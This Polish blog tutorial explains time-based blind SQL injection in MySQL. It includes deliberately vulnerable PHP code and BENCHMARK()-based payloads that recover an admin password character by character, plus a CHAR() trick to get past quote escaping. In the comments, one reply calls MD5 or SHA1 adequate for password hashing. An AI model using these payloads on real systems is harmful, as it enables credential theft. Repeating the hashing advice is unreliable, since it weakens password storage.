Aplikacje internetowe

Bełdziowe spojrzenie na aplikacje internetowe

Blind SQL Injection

Blind SQL Injection jest odmianą ataku SQL Injection charakteryzującą się brakiem pokazywania błędów w zapytaniach SQL. Wyłączenie pokazywania błędów przez programistę / administratora „podnosi” bezpieczeństwo aplikacji, jednak nie eliminuje problemu. Modyfikacja zapytania jest nadal możliwa, staje się jedynie trudniejsza z braku wglądu w zapytania oraz błędy SQL.

Mimo ograniczonego pola działania możemy posłużyć się kilkoma sztuczkami w celu osiągnięcia zamierzonego celu. Poniżej przykład jak wyciągnąć z bazy hasło administratora.

Rozpoznanie SZBD

Mimo istniejącej specyfikacji języka SQL jej implementacje w dostępnych produktach różnią się od siebie. Dzięki owym różnicom możemy wydedukować z jakim SZBD mamy do czynienia.

Przykładową funkcją dającą nam informacje o SZBD jest funkcja pobierająca aktualną datę. W przypadku mySQL ów funkcją będzie NOW(), w przypadku MS SQL GETDATE( ), Oracle zaś wykorzystuje do tego celu funkcję SYSDATE( ).

Pomocne funkcje

Podczas ataku Blind SQL Injection z pomocą przychodzi nam funkcja BENCHMARK(). Pomoże nam ona określić czy wykonane przez nas zapytanie zwróciło pozytywny wynik czy tez nie. Zadaniem funkcji BENCHMARK() jest wykonanie określonej czynności podaną ilość razy.

SELECT BENCHMARK( 100000, "hello world" );

Powyższe zapytanie zostało wykonane w czasie 0,01 sec. Jeśli natomiast zwiększymy ilość powtórzeń z 100000 do 1000000000 czas wykonywania zapytania wzrośnie do 9,08 sec. Łącząc powyższa funkcje z instrukcją warunkową zyskujemy „poważne narzędzie” do przeprowadzania ataków Blind SQL Injection.

SELECT IF( DAYOFMONTH( NOW( ) ) = 12, BENCHMARK( 1000000000, "tak" ), "nie" );

Wykonanie powyższego kodu zajmie 0,01 sec w przypadku, gdy aktualnym dniem nie jest 12, w przeciwnym wypadku będziemy musieli chwilę odczekać, aż funkcja BENCHMARK() zakończy swoje działanie. Dzięki czasowi potrzebnemu na wykonanie zapytania jesteśmy w stanie określić czy podany przez nas warunek jest prawdziwy.

Praktyka

Wykorzystajmy teraz powyższą wiedzę do bardziej niecnego przykładu :-). Zadaniem naszym jest wyciągnięcie z bazy hasła administratora – użytkownika o ID = 1. Niestety konfiguracja oraz konstrukcja skryptu nie umożliwia nam zrobienie tego w miły i przyjemny sposób.

<?php

   error_reporting( 0 );
   mysql_connect( 'localhost', 'user', 'passwd' );
   mysql_select_db( 'db' );

   $q = mysql_query( 'SELECT login FROM users WHERE id=' . $_GET[ 'id' ] );

   mysql_close( );

?>

Zadaniem powyższego kodu jest pobranie loginu użytkownika o podanym ID. Najprostszym sposobem na wyciągnięcie hasła byłoby ustawienie wartości zmiennej $_GET[ ‚id’ ] na

0 UNION SELECT passwd FROM users WHERE id =1

Zapytanie to spełniłoby swoją rolę. Problem z tym, że nigdzie nie wyświetlamy danych pobranych z bazy, przez co nie jesteśmy w stanie przeczytać pobranego hasła. I tu z pomocą przychodzą nam informacje z poprzedniego punktu.

Wiemy, że administrator ma ID = 1 oraz, że hasła w bazie trzymane są w jawnej formie. Jedyną niewiadomą jest warunek jaki musimy wykorzystać, aby odgadnąć hasło. Najprostszą metodą jest zastosowanie ataku brute force i przetestowanie każdej możliwej kombinacji. Oczywiście proces ten możemy sobie trochę ułatwić. Zacznijmy od odgadnięcia długości hasła. Umożliwi nam to poniższe zapytanie.

SELECT IF( LENGTH( passwd ) = X, BENCHMARK( 100000000, 0 ), 1 )
FROM users
WHERE id = 1;

Zamiast „X” należy podstawiać kolejne liczby, aż do momentu gdy odczujemy „spowolnienie” skryptu. Owe spowolnienie będzie oznaczało pozytywne wykonanie warunku, a co za tym idzie odgadnięcie długości hasła.

Następną operacją do wykonania po odgadnięciu długości hasła jest wyciągnięcie każdego znaku, który składa się na nie. Możemy tego dokonać modyfikując poprzednie zapytanie.

SELECT IF( SUBSTRING( passwd, 1, 1 ) = 'A', BENCHMARK( 100000000, 0 ), 1 )
FROM users
WHERE id = 1;

Tak jak w poprzednim zapytaniu porównywaliśmy długość hasła z kolejnymi cyframi, tak teraz musimy testować kolejne znaki hasła z kolejnymi literami alfabetu. Powyższe zapytanie musimy wykonać dla każdej litery hasła, wyszukując znaku, który wydłuży czas generowania skryptu.

Zapytanie to może sprawić pewien kłopot. Jako, że większość konfiguracji parsera PHP ma włączoną opcję magic_quotes_gpc zapytanie zostanie zmienione na

SELECT IF( SUBSTRING( passwd, 1, 1 ) = \'A\', BENCHMARK( 100000000, 0 ), 1 )
FROM users
WHERE id = 1;

co spowoduje jego błąd, a w konsekwencji koniec naszego odgadywania liter. Możemy obejść ten problem zapisując kolejne litery przy pomocy funkcji CHAR( ). I tak zamiast pisać ‚A’ możemy napisać CHAR( 65 ), jako parametr podajemy kod ASCII litery jaką chcemy uzyskać. Końcowe zapytanie, z którego musimy skorzystać wygląda następująco

SELECT IF( SUBSTRING( passwd, 1, 1 ) = CHAR( KOD ZNAKU ), BENCHMARK( 100000000, 0 ), 1 )
FROM users
WHERE id = 1;

Tagi: ,
Kategoria: Bezpieczeństwo, Bazy danych


10 komentarzy

  1. Co prawda miał być drugi odcinek Kohanowego tutka, ale jakoś o bezpieczeństwie jakoś mi się lepiej pisze :P A tutek się pisze :)

  2. Najgorsza z najgorszych metod, ale… sprawdza się :P
    No chyba że ktoś ew. ma stałe ip i nie można podać złego hasła 5 razy bo konto zostanie bloknięte na tym numerze IP.

  3. Hash napisał(a):

    Oj Bełdzio, błąd językowy popełniłeś: „Dzięki owym różnicą” => „Dzięki owym różnicom”

  4. thx :) poprawione:) hmm warto robic literowki zeby widziec ze ktos tu zaglada :)

  5. na szczęście nie zadziała, jeśli zapytanie ma konstrukcję:
    nie:
    $q = mysql_query( ‚SELECT login FROM users WHERE id=’ . $_GET[ ‚id’ ] );

    ale:
    $q = mysql_query( „SELECT login FROM users WHERE id=’$_GET[ id’]'”);

    przy czym poddać wszystkie elementy get i post wcześniej funkcji addslashes.
    Am I right?

  6. tak, aczklowiek lepszym rozwiązaniem jest sprawdzenie typu zmiennej :-) i zamiast addslashes używaj *_real_escape_string

  7. .mi napisał(a):

    czyli mam rozumieć, że tak długo jak będę sprawdzała czy $_GET[‚id’] jest cyfrą to niby żadne podrabiane zapytanie do bazy nie przejdzie?

    mam też pytanie, jakie jeszcze są sposoby szyfrowania (funkcje?) hasła w mysql bo znam tylko md5 a z tego co czytałam to bardzo łatwo to obejść…?
    ew. jakbym mogła prosić o jakiś tutorial z cyklu pisania kodu bezpiecznego logowania :)

    wybaczcie może bardzo banalne pytania, ale w zasadzie dopiero raczkuję z php i mysql ;) a zależy mi na tym, żeby pisać przede wszystkim bezpieczne kody :)

  8. ad1. dokładnie tak, jeśli użytkownik ma przesłać liczbę to spr czy to co przesłał jest liczbą, jeśli nie to zwracasz błąd

    ad2. MD5 można spokojnie używać do hashowania haseł, co prawda udało się doprowadzić do kolizji, ale tak na prawdę nie jest to aż tak łatwe żeby przeciętny user nam coś zrobił; co do innych funkcji to np SHA1

    ad bezpieczne logowanie: http://www.beldzio.com/kategoria/bezpieczenstwo/logowanie

  9. Dobry tut ;)
    Zainspirowało mnei to do stworzenia blindera sql inj – prawie 99% skutecznosci..

  10. Atak można uskutecznić za pomocą metody ‚koło fortuny’ (sam wymyśliłem tą nazwę) – korzystając z funkcji LOCATE(substr, str) odnajdujemy jaki znaki w ogóle występują w haśle i wstępnie na której pozycji.

Dodaj komentarz